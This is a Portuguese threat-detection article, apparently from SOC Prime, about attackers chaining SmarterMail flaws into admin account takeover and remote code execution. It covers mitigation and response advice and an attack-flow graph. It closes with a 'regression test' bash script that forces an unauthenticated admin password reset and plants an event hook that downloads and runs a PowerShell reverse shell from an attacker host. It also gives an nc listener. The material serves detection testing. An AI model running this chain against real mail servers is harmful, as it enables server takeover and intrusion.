SOC Prime Bias: Crítico

04 Fev 2026 16:59

DE&TH para Vulnerabilidades: Huntress Detecta Sequestro de Conta SmarterMail Levando a RCE

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
DE&TH para Vulnerabilidades: Huntress Detecta Sequestro de Conta SmarterMail Levando a RCE
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

A Huntress observou o abuso em ambiente real de duas falhas do SmarterMail que permitem a tomada de contas privilegiadas e, em última instância, execução remota de código. Os atacantes iniciam fluxos de redefinição de senha sem autenticação para obter um token privilegiado, em seguida abusam dos “eventos do sistema” do SmarterMail para executar comandos de reconhecimento do host. A atividade impactou vários clientes e mostrou sinais de exploração ampla e automatizada em larga escala.

Investigação

Analistas da Huntress reconstruíram uma sequência consistente de solicitações HTTP POST contra endpoints da API SmarterMail usadas para acionar redefinições de senha, autenticar, configurar eventos do sistema, adicionar domínios controlados por atacantes e, posteriormente, remover vestígios. A cadeia visa o CVE-2026-23760 (tomada de conta privilegiada) e o CVE-2025-52691 (upload arbitrário de arquivo). As solicitações comumente usavam o user-agent python-requests/2.32.4, e os operadores deixaram para trás arquivos result.txt contendo saída de reconhecimento de comandos executados.

Mitigação

Atualize o SmarterMail para a versão 9511 ou mais recente para corrigir ambos os CVEs. Revise e restrinja a exposição da API, desative ou restrinja eventos do sistema desnecessários e monitore atividades anômalas da API que alterem contas, eventos ou domínios. Identifique e remova quaisquer domínios e eventos do sistema criados por atacantes para eliminar a persistência.

Resposta

Procure pelo padrão suspeito de chamada de API e pelo user-agent python-requests/2.32.4, bloqueie IPs de origem ofensivos e exclua eventos maliciosos do sistema. Rode imediatamente as credenciais privilegiadas. Realize a análise forense do endpoint para localizar o result.txt e validar se cargas adicionais foram preparadas. Notifique usuários/clientes impactados e forneça orientações claras de remediação.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[“<b>Ação</b> – <b>T1212 Exploração para Acesso a Credenciais</b><br/>O atacante explora a CVE-2026-23760 via POST /api/v1/auth/force-reset-password para redefinir uma senha privilegiada.”] class action_exploit_cred action action_authenticate[“<b>Ação</b> – <b>T1078 Contas Válidas</b> & <b>T1134.003 Manipulação de Token de Acesso</b><br/>Usando as novas credenciais, POST /api/v1/auth/authenticate-user obtém um token de acesso.”] class action_authenticate action tool_requests[“<b>Ferramenta</b> – <b>Nome</b>: python-requests 2.32.4<br/><b>Propósito</b>: Cliente HTTP usado para chamadas de API”] class tool_requests tool data_token[“<b>Dados</b> – Token de Acesso<br/>Armazenado para interações subsequentes com a API”] class data_token data action_config_event[“<b>Ação</b> – <b>T1569 Serviços do Sistema</b> & <b>T1574 Sequestro do Fluxo de Execução</b><br/>POST /api/v1/settings/sysadmin/event-hook cria um evento de sistema malicioso.”] class action_config_event action action_add_domain[“<b>Ação</b> – <b>T1204 Execução do Usuário</b><br/>POST /api/v1/settings/sysadmin/domain-put adiciona um domínio que aciona o evento e executa comandos de reconhecimento.”] class action_add_domain action data_result[“<b>Dados</b> – result.txt<br/>Arquivo criado em C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt”] class data_result data action_cleanup[“<b>Ação</b> – Etapas de limpeza<br/>POST /api/v1/settings/sysadmin/domain-delete e event-hook-delete para remover artefatos.”] class action_cleanup action action_remove_logs[“<b>Ação</b> – <b>T1070.001 Limpeza de Logs de Eventos do Windows</b>”] class action_remove_logs action action_file_deletion[“<b>Ação</b> – <b>T1070.004 Exclusão de Arquivos</b><br/>Remove result.txt e arquivos relacionados.”] class action_file_deletion action action_clear_persistence[“<b>Ação</b> – <b>T1070.009 Limpeza de Persistência</b>”] class action_clear_persistence action %% Connections action_exploit_cred –>|usa| tool_requests action_exploit_cred –>|leva_a| action_authenticate action_authenticate –>|produz| data_token data_token –>|usado_por| action_config_event action_config_event –>|cria| action_add_domain action_add_domain –>|grava| data_result action_add_domain –>|aciona| action_cleanup action_cleanup –>|inclui| action_remove_logs action_cleanup –>|inclui| action_file_deletion action_cleanup –>|inclui| action_clear_persistence

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Verificação Prévia de Telemetria e Base deve ter passado.

Narrativa e Comandos do Ataque

  1. Reconhecimento: O atacante descobre que a instância do SmarterMail está executando uma versão vulnerável ao CVE‑2026‑23760.
  2. Forçar Redefinição de Senha (T1098): Usando a não autenticada forçar-redefinição-de-senha endpoint para definir uma senha conhecida para o admin conta privilegiada.
  3. Autenticar (T1078): Faça login com as credenciais recém-definidas através do autenticar-usuário endpoint, obtendo um token de sessão.
  4. Implantar Hook de Evento Malicioso (T1569): POST um payload JSON elaborado para event-hook que aponta para um shell reverso PowerShell hospedado no servidor do atacante.
  5. Acionar Execução: O event-hook é executado automaticamente no servidor web, criando um shell reverso para o atacante.
  6. Limpeza: Remova o hook malicioso através do event-hook-delete endpoint (excluído da detecção).

Todos os passos geram eventos HTTP POST que correspondem aos critérios de seleção da regra Sigma. critérios de seleção .

Script de Teste de Regressão

#!/usr/bin/env bash
# -------------------------------------------------
# Simulação de Tomada de Conta SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Forçar redefinição de senha (não autenticada)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Autenticar e capturar token de sessão
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Implantar event-hook malicioso (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

echo "[+] event-hook malicioso implantado. Aguardando shell reverso..."

# 4. (Opcional) Aguardar shell reverso – atacante executa ouvinte separadamente:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Limpeza – remova o hook (excluído da detecção)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Comandos de Limpeza

#!/usr/bin/env bash
# Remover quaisquer hooks maliciosos residuais e redefinir a senha do administrador

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Autenticar com a senha segura (se conhecida) ou usar o token anterior
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Excluir o event-hook malicioso (se ainda estiver presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Redefinir a senha do administrador para um valor conhecido
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"